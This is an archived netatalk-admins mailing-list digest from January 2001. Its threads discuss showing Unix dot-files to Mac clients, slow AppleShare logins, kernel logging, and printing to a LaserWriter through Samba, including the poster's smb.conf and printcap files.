From: Basil Hussain <basil.hussain@specialreserve.net>
To: <netatalk-admins@umich.edu>
Message-ID: <B68E32D3.2B11%basil.hussain@specialreserve.net>
In-Reply-To: <29050.979925982@dis.strath.ac.uk>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> And how about files like ".htaccess"?
> 
> If you're developing a web site on your Mac for delivery on Apache
> running on Unix, you've got every right and reason to be wanting
> to edit dot files.

Or at least have them copied when you duplicate/copy a directory containing
them... Having them visible to edit too would be even better.

This was my original gripe that started this whole discussion!

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Fri Jan 19 13:07:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA00462
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 13:07:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14584
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 13:07:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14536
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 13:07:34 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA14490
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 13:07:32 -0500 (EST)
Received: (qmail 3972 invoked by uid 500); 19 Jan 2001 18:07:35 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14952.33383.78986.574357@h0050da615e79.ne.mediaone.net>
Date: Fri, 19 Jan 2001 13:07:35 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>
Cc: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>, netatalk-admins@umich.edu
Subject: Re: Hidden Files Not Being Copied 
In-Reply-To: <29050.979925982@dis.strath.ac.uk>
References: <29050.979925982@dis.strath.ac.uk>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Duncan Sinclair <sinclair@dis.strath.ac.uk>
   Date: Fri, 19 Jan 2001 17:39:42 +0000

   Hi,

   Bob Rogers writes:
   > . . .
   >I would go further.  Dot-files on Unix generally exist for Unix-specific
   >purposes, and hidden files on the Mac exist for Mac-specific purposes,
   >so it is pointless at best, and possibly counterproductive, to move them
   >from Unix to Mac or vice versa.  That is why I think netatalk's default
   >behavior with respect to dot-files is optimal.

   And how about files like ".htaccess"?

   If you're developing a web site on your Mac for delivery on Apache
   running on Unix, you've got every right and reason to be wanting
   to edit dot files.

   Cheers,

   Duncan.

Granted; I assume that's why there's apparently a "usedots" switch that
changes the default.  I'm just arguing that the current default is the
sanest thing to do for most installations.  (Which, of course, mirrors
my prejudices about who is using netatalk, and for what.)

					-- Bob

From netatalk.administrators-errors@umich.edu  Fri Jan 19 14:08:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA01849
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 14:08:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA01228
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 14:08:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA01214
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 14:08:21 -0500 (EST)
Received: from europa.lunar.com (europa.lunar.com [207.33.114.135])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA01169
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 14:08:20 -0500 (EST)
Received: by europa.lunar.com with Internet Mail Service (5.5.2653.19)
	id <CYP1L2HA>; Fri, 19 Jan 2001 11:07:03 -0800
Message-ID: <E18DEA3291A2D1119C860060B0689EAED52BA2@europa.lunar.com>
From: Mike Johnson <mikej@lunar.com>
To: "'Basil Hussain'" <basil.hussain@specialreserve.net>
Cc: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: RE: Off Topic DNS problem
Date: Fri, 19 Jan 2001 11:07:02 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="windows-1252"

Hey, I'm glad that helped.
constant messages to the console can be quite a pain....

About the error messages themselves, though. I would check to see if you
enabled verbose logging in your kernel compilation. There is a choice there
-- I believe I saw it when I did mine so many ages ago -- to turn on or off
verbose logging. You might consider compiling again if it has been turned
on. You might also check the howto and the /etc/rc.d/rc.firewall script they
had you make to see if there are any logging options.

I'm just going off what I remember. Your mileage may vary. :-)
- Mike
> ----------
> From: 	Basil Hussain
> Sent: 	Friday, January 19, 2001 9:50 AM
> To: 	Mike Johnson
> Cc: 	netatalk-admins@umich.edu
> Subject: 	Re: Off Topic DNS problem
> 
> 
> Wow, thanks! I've been wanting to find out what settings to modify to do
> exactly this for ages! And now your advice to someone else turns up out of
> the blue...
> 
> This is gonna be a real boon. I've been trying to keep track of
> kernel-level
> networking errors ("Suspect short first fragment" errors, if anyone can
> tell
> me what they mean) on a couple of my servers that I suspect are being
> generated by some evil port-scanning technique, but as they only got
> logged
> to the console I miss most of them.
> 
> Anyway, thanks again!
> 
> Regards,
> 
> ------------------------------------------------
> Basil Hussain (basil.hussain@specialreserve.net)
> 
> 

From netatalk.administrators-errors@umich.edu  Fri Jan 19 17:51:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA08093
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 17:51:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA03405
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 17:51:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA03374
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 17:51:57 -0500 (EST)
Received: from tsmtp3.ldap.isp ([195.235.113.141])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA02283
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 17:51:25 -0500 (EST)
Received: from cubeship.borgspace.alpha ([213.97.106.73]) by
          tsmtp3.ldap.isp (Netscape Messaging Server 4.15) with ESMTP id
          G7FLZP04.KAT for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001
          23:47:49 +0100 
Received: from tangy.borgspace.alpha ([10.0.0.3] helo=tangy)
	by cubeship.borgspace.alpha with smtp (Exim 3.12 #1 (Debian))
	id 14JkMr-0006xO-00
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 23:50:49 +0100
Date: Fri, 19 Jan 2001 23:50:34 +0100
Reply-To: jasonq@usa.net
Content-Type: text/plain;
	charset=us-ascii
From: Jason Quigley <jasonq@usa.net>
To: <netatalk-admins@umich.edu>
Subject: Re: Hidden Files Not Being Copied 
Message-Id: <E14JkMr-0006xO-00@cubeship.borgspace.alpha>
Mime-Version: 1.0
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA08093

Perhaps a solution would be something like an AppleVolumes.visible file where one could put things like .htaccess, etc.

Cheers,
Jason.


On Friday, January 19, 2001, at 07:07 PM, Basil Hussain wrote:

> > And how about files like ".htaccess"? 
> >  
> > If you're developing a web site on your Mac for delivery on Apache 
> > running on Unix, you've got every right and reason to be wanting 
> > to edit dot files. 
>  
> Or at least have them copied when you duplicate/copy a directory containing 
> them... Having them visible to edit too would be even better. 
>  
> This was my original gripe that started this whole discussion! 
>  
> Regards, 
>  
> ------------------------------------------------ 
> Basil Hussain (basil.hussain@specialreserve.net) 
>  
>  
>  
>  

From netatalk.administrators-errors@umich.edu  Fri Jan 19 18:05:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA08280
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 18:05:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA18515
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 18:05:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA18476
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 18:05:12 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA18437
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 18:05:10 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f0JN2v727031;
	Fri, 19 Jan 2001 18:02:57 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A68C787.851CE504@mail.iowna.com>
Date: Fri, 19 Jan 2001 18:02:31 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: jasonq@usa.net
CC: netatalk-admins@umich.edu
Subject: Re: Hidden Files Not Being Copied
References: <E14JkMr-0006xO-00@cubeship.borgspace.alpha>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jason Quigley wrote:
> 
> Perhaps a solution would be something like an AppleVolumes.visible file where one could put things like .htaccess, etc.

How about configuring Netatalk to show these file if you have need to
edit them?

-Bill

From netatalk.administrators-errors@umich.edu  Fri Jan 19 18:10:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA08389
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 18:10:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA10383
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 18:10:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA10361
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 18:10:53 -0500 (EST)
Received: from tsmtp1.mail.isp ([195.235.113.141])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA10149
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 18:10:44 -0500 (EST)
Received: from cubeship.borgspace.alpha ([213.97.106.73]) by
          tsmtp1.mail.isp (Netscape Messaging Server 4.15) with ESMTP id
          G7FMY104.L6S; Sat, 20 Jan 2001 00:08:25 +0100 
Received: from tangy.borgspace.alpha ([10.0.0.3] helo=tangy)
	by cubeship.borgspace.alpha with smtp (Exim 3.12 #1 (Debian))
	id 14Jkfi-0006y7-00; Sat, 20 Jan 2001 00:10:18 +0100
Date: Sat, 20 Jan 2001 00:10:00 +0100
From: Jason Quigley <jasonq@usa.net>
Reply-To: jasonq@usa.net
Content-Type: text/plain;
	charset=us-ascii
Subject: Re: Hidden Files Not Being Copied
Cc: jasonq@usa.net, netatalk-admins@umich.edu
To: Bill Moran <wmoran@mail.iowna.com>
Content-Transfer-Encoding: 7bit
Message-Id: <E14Jkfi-0006y7-00@cubeship.borgspace.alpha>
Mime-Version: 1.0

On Saturday, January 20, 2001, at 12:02 AM, Bill Moran wrote:

> How about configuring Netatalk to show these file if you have need to 
> edit them? 
>  

Are there some configuration parameters that I'm unaware of?

Thanks,
Jason.

From netatalk.administrators-errors@umich.edu  Fri Jan 19 19:01:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA09679
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 19:01:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA28248
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 19:01:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA28222
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 19:01:32 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA27968
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 19:01:30 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f0JNx0707653;
	Fri, 19 Jan 2001 18:59:00 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A68D4AA.AC1A340E@mail.iowna.com>
Date: Fri, 19 Jan 2001 18:58:34 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: jasonq@usa.net
CC: netatalk-admins@umich.edu
Subject: Re: Hidden Files Not Being Copied
References: <E14Jkfi-0006y7-00@cubeship.borgspace.alpha>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jason Quigley wrote:
> 
> On Saturday, January 20, 2001, at 12:02 AM, Bill Moran wrote:
> 
> > How about configuring Netatalk to show these file if you have need to
> > edit them?
> >
> 
> Are there some configuration parameters that I'm unaware of?

Yes, there are two config options in the config file that control the
way dotfiles are treated by Netatalk. It's possible to have them show up
simply as regular files.

-Bill

From netatalk.administrators-errors@umich.edu  Fri Jan 19 20:06:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA11108
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 20:06:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA23177
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 20:06:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA23161
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 20:06:44 -0500 (EST)
Received: from tsmtp6.mail.isp ([195.235.113.141])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA22894
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 20:06:36 -0500 (EST)
Received: from cubeship.borgspace.alpha ([213.97.106.73]) by
          tsmtp6.mail.isp (Netscape Messaging Server 4.15) with ESMTP id
          G7FSB901.ZBX; Sat, 20 Jan 2001 02:04:21 +0100 
Received: from tangy.borgspace.alpha ([10.0.0.3] helo=tangy)
	by cubeship.borgspace.alpha with smtp (Exim 3.12 #1 (Debian))
	id 14JmTz-00071e-00; Sat, 20 Jan 2001 02:06:20 +0100
Date: Sat, 20 Jan 2001 02:06:08 +0100
From: Jason Quigley <jasonq@usa.net>
Reply-To: jasonq@usa.net
Content-Type: text/plain;
	charset=us-ascii
Subject: Re: Hidden Files Not Being Copied
Cc: jasonq@usa.net, netatalk-admins@umich.edu
To: Bill Moran <wmoran@mail.iowna.com>
Message-Id: <E14JmTz-00071e-00@cubeship.borgspace.alpha>
Mime-Version: 1.0
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id UAA11108

Ah yes, I know about "options:usedots". I was leaning more towards the idea of having a separate configuration file which would contain filenames or globs so that exactly which files are seen can be tightly controlled, much the way files can be marked as hidden in Samba.

Cheers,
Jason.


On Saturday, January 20, 2001, at 12:58 AM, Bill Moran wrote:

> Jason Quigley wrote: 
> >  
> > Are there some configuration parameters that I'm unaware of? 
>  
> Yes, there are two config options in the config file that control the 
> way dotfiles are treated by Netatalk. It's possible to have them show up 
> simply as regular files. 
>  
> -Bill 
>  
>  
>  

From netatalk.administrators-errors@umich.edu  Tue Jan 23 06:04:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA26005
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Jan 2001 06:04:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA01647
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Jan 2001 06:04:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA01636
	for netatalk.administrators-members@umich.edu; Tue, 23 Jan 2001 06:04:01 -0500 (EST)
Received: from monterosa.urbanet.ch (monterosa.urbanet.ch [195.202.193.104])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id GAA01617
	for <netatalk-admins@umich.edu>; Tue, 23 Jan 2001 06:03:59 -0500 (EST)
Received: (qmail 15541 invoked from network); 23 Jan 2001 11:03:43 -0000
Received: from unknown (HELO mi-note.media-aera.ch) (195.202.208.116)
  by monterosa.urbanet.ch with SMTP; 23 Jan 2001 11:03:43 -0000
Message-Id: <4.3.2.7.2.20010123120108.04445800@mail2.mediaprofil.ch>
X-Sender: mi@mail2.mediaprofil.ch
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 23 Jan 2001 12:03:22 +0100
To: vgb@enschede.dhs.org, Netatalk vragen <netatalk-admins@umich.edu>
From: Milivoj Ivkovic <mi@alma.ch>
Subject: Re: Very slow login and multiple logins
In-Reply-To: <979569989.3a630d4570111@kanarie.xilay.cxm>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Same problem here, with MacOS 8.6!

Did you find the solution?

Where does the Mac store this login information for remounts at reboot anyway?

Hope someone has ideas...

Milivoj

>I am using Mac OS 9 and Netatalk-1.42b2+asun2.1.4-0 and
>are experiencing the follwing problem.
>
>I replaced a NT-server by a SuSE 7.0 box, some Mac's
>(with Mac os 8.x) can login quick and without a
>problem, other Mac's (with Mac OS 9) seem to freeze a
>few minutes and they request multiple logins by
>different loginnames.
>
>Even after canceling all logins and auto-logins they
>request a login, at last, after the Mac has started
>(after several minutes), I can login very quickly! and
>it requests only one loginname.
>
>I tried this with and without -notcp but this doesn't
>seem to help. Anyone?
>
>With friendly regards,
>
>Vincent


From netatalk.administrators-errors@umich.edu  Tue Jan 23 10:03:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA01522
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Jan 2001 10:03:55 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21092
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Jan 2001 10:03:55 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21076
	for netatalk.administrators-members@umich.edu; Tue, 23 Jan 2001 10:03:54 -0500 (EST)
Received: from dante.kinkaid.org (dante.kinkaid.org [207.80.142.250])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA21044
	for <netatalk-admins@umich.edu>; Tue, 23 Jan 2001 10:03:53 -0500 (EST)
Received: from [172.16.16.62] ([172.16.16.62])
	by dante.kinkaid.org (8.10.2/8.10.2) with ESMTP id f0NFlWN18465;
	Tue, 23 Jan 2001 09:47:32 -0600
User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630)
Date: Tue, 23 Jan 2001 09:03:45 -0600
Subject: Re: Very slow login and multiple logins
From: Crystal <cmorillo@kinkaid.org>
To: Milivoj Ivkovic <mi@alma.ch>, <vgb@enschede.dhs.org>,
        Netatalk vragen <netatalk-admins@umich.edu>
Message-ID: <B692F971.461A%cmorillo@kinkaid.org>
In-Reply-To: <4.3.2.7.2.20010123120108.04445800@mail2.mediaprofil.ch>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 1/23/01 5:03 AM, Milivoj Ivkovic at mi@alma.ch wrote:

> Same problem here, with MacOS 8.6!
> 
> Did you find the solution?
> 
> Where does the Mac store this login information for remounts at reboot anyway?
> 
> Hope someone has ideas...
> 
> Milivoj

For MacOS 9+, check in the Mac's System folder in a folder called "Servers".

You may see aliases of the servers the Mac has previously logged onto. This
generally happens when the user checks the box next to the share name,
instead of just selecting the sharename and clicking "ok". Checking the box
prompts the Mac to try to log on to that server again. Alot of my users do
that....

For MacOS 8.6 and lower, trash the AppleSharePrep file in System Folder -
Preferences. This is the file that contains info on previous servers and
whether they are marked for auto-logon.

Hope that helps.


-- 
Crystal Morillo
cmorillo@kinkaid.org

The Kinkaid School - www.kinkaid.org




From netatalk.administrators-errors@umich.edu  Wed Jan 24 10:10:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA08021
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 24 Jan 2001 10:10:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA18950
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 24 Jan 2001 10:10:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA18934
	for netatalk.administrators-members@umich.edu; Wed, 24 Jan 2001 10:10:02 -0500 (EST)
Received: from monterosa.urbanet.ch (monterosa.urbanet.ch [195.202.193.104])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA18907
	for <netatalk-admins@umich.edu>; Wed, 24 Jan 2001 10:10:01 -0500 (EST)
Received: (qmail 6333 invoked from network); 24 Jan 2001 15:09:55 -0000
Received: from unknown (HELO mi-note.media-aera.ch) (195.202.208.116)
  by monterosa.urbanet.ch with SMTP; 24 Jan 2001 15:09:55 -0000
Message-Id: <4.3.2.7.2.20010124160125.00b1f870@mail2.mediaprofil.ch>
X-Sender: mi@mail2.mediaprofil.ch
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 24 Jan 2001 16:08:24 +0100
To: <netatalk-admins@umich.edu>
From: Milivoj Ivkovic <mi@alma.ch>
Subject: Re: Very slow login and multiple logins
In-Reply-To: <B692F971.461A%cmorillo@kinkaid.org>
References: <4.3.2.7.2.20010123120108.04445800@mail2.mediaprofil.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: 8bit

Thanks a lot to all who answered.

>Don't know if this will help but on the Macintosh, in the System Folder, 
>there is a directory named Servers. Look inside and if there are any 
>files, usually aliases or links, remove them.

Did that.

>You may see aliases of the servers the Mac has previously logged onto. This
>generally happens when the user checks the box next to the share name,
>instead of just selecting the sharename and clicking "ok". Checking the box
>prompts the Mac to try to log on to that server again. Alot of my users do
>that....
>
>For MacOS 8.6 and lower, trash the AppleSharePrep file in System Folder -
>Preferences. This is the file that contains info on previous servers and
>whether they are marked for auto-logon.

Also did that.

>Hope that helps.

It did! Problem apparently solved. I applied both suggestions (on 8.6), so 
I'm not sure which solved what, but anyway it's OK. I'll try on 9.0 later 
today.

>Haben Sie die "Schlüsselbund-Funktion" von OS 9 schon probiert?

I have yet to experiment with this.

Thank you all,

Milivoj


From netatalk.administrators-errors@umich.edu  Thu Jan 25 05:59:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA06500
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 25 Jan 2001 05:59:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA29394
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 25 Jan 2001 05:59:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA29377
	for netatalk.administrators-members@umich.edu; Thu, 25 Jan 2001 05:59:51 -0500 (EST)
Received: from mailgate3.cinetic.de (mailgate3.cinetic.de [212.227.116.80])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA29337
	for <netatalk-admins@umich.edu>; Thu, 25 Jan 2001 05:59:50 -0500 (EST)
Received: from cinetic.de (popeye.cinetic.de [194.122.194.100])
	by mailgate3.cinetic.de (8.11.2/8.11.0/SuSE Linux 8.11.0-0.4) with SMTP id f0PAxtg15719
	for <netatalk-admins@umich.edu>; Thu, 25 Jan 2001 11:59:55 +0100
Date: Thu, 25 Jan 2001 11:59:55 +0100
Message-Id: <200101251059.f0PAxtg15719@mailgate3.cinetic.de>
MIME-Version: 1.0
Organization: http://freemail.web.de/
From: "Joachim Nestler" <jo.nes@web.de>
To: netatalk-admins@umich.edu
Subject: printing to netatalk with samba
Precedence: fm-user
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id FAA06500

Hallo,
Im trying ( for 4 weeks) to print to my Apple 
Laserwriter form my PC over the Linux-Server. 
Now I can print from the Linux-Server
directly print with the command 

lpr -P lp4 <hostname>

On my Windows PC is win Mill.-Edt. installt and 
the Linux-Syxstem is Suse Linux 7.0 professional Edt.

My Problem is that I cannot find the Printer in my
network-enviroment but the filesharing with  
Macintosh <-> Linux <-> Windows is working fine.

Does anybody know, how can I prepare my config-files
for the prining?
Any advice would be appreciated!

-smb.conf-
[global]
    	workgroup = MYGROUP
	netbios name = SERVER2S
	encrypt passwords = Yes
	max log size = 500
	keepalive = 30
	kernel oplocks = No
	hosts allow = 192.168.1.0/24 localhost
	printcap name = /etc/printcap
	printing = bsd

[lp4]
	path = /var/spool/lpd/alwp630
	guest ok = Yes
	printable = Yes
	print command = lpr -P lp4 %P
	printer = lp4

[printers]
	comment = all Printers
	path = /var/spool/lpd
	create mask = 0700
	guest ok = Yes
	printable = Yes

-printcap-
lp4|daten LaserWriter|LaserWriterPro630:\
	:lp=/var/spool/lpd/alwp630/null:\
	:of=/usr/lib/atalk/filters/ofpap:\
	:sd=/var/spool/lpd/alwp630:\
	:lf=/var/spool/lpd/alwp630/log:\
	:af=/var/spool/lpd/alwp630/acct:\
	:ar:bk:mx#0:\
	:tr=:cl:sh:

______________________________________________________________________________
Die Fachpresse ist sich einig: WEB.DE 17mal Testsieger! Kostenlos E-Mail, 
Fax, SMS, Verschlüsselung, POP3, WAP....testen Sie uns! http://freemail.web.de


From netatalk.administrators-errors@umich.edu  Thu Jan 25 07:07:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA07823
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 25 Jan 2001 07:07:31 -0500 (EST)
Received: (from daemon@localhost)
